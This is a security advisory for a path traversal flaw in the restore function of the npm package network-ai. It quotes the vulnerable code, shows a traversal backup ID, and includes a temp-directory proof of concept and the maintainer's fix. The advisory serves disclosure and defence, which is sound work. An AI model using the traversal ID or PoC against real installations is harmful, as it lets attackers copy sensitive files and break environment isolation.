network-ai
Affected
- introduced
0, fixed5.12.2(semver)
Fixed versions
5.12.2
Fix
- Fixed version
5.12.2npm install [email protected]
Advisory
Also known as: CVE-2026-58413
Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data
SummaryEnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups.
A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.
Detailsrestore() builds backupPath directly from caller-controlled backupId:
restore(env: EnvName, backupId: string): RestoreResult {
const envDir = this.getDataDir(env);
const backupsDir = join(envDir, '.backups');
const backupPath = join(backupsDir, backupId);
if (!existsSync(backupPath)) {
throw new Error(`Backup '${backupId}' not found for environment '${env}'`);
}
this.backup(env);
const files = this._collectBackupFiles(backupPath);
let restored = 0;
for (const rel of files) {
if (rel === '_manifest.json') continue;
const src = join(backupPath, rel);
const dst = join(envDir, rel);
try {
mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
copyFileSync(src, dst);
restored++;
} catch { /* skip */ }
}
return { backupId, env, filesRestored: restored };
}
There is no resolved containment check that ensures backupPath remains under backupsDir.
Default CLI reachability exists through network-ai env backup restore --env <env> --backup <id>.
Affected source evidence:
lib/env-manager.ts:474-499 — vulnerable restore path construction and copy.bin/cli.ts:441-458 — default CLI exposes restore with caller-controlled --backup.PoC
This PoC uses only temporary directories and restores trust_levels.json from an external directory into data/dev:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const source = path.join(base, 'outside', 'secret-src');
fs.mkdirSync(source, { recursive: true });
fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}');
const mgr = new EnvironmentManager(data, {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
const backupId = path.relative(path.join(data, 'dev', '.backups'), source);
const result = mgr.restore('dev', backupId);
const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');
console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
Observed result includes backupId: "../../../outside/secret-src", filesRestored: 1, and restored content {"leaked":true}.
Impact
A caller that can invoke backup restore can copy arbitrary readable directories into data/<env>, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.
---
Resolution (maintainer)
Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`). Install: npm install [email protected] — published to npm with provenance.
restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
Medium Basis: The source's own band: MODERATE
0, fixed 5.12.2 (semver)5.12.2
5.12.2npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0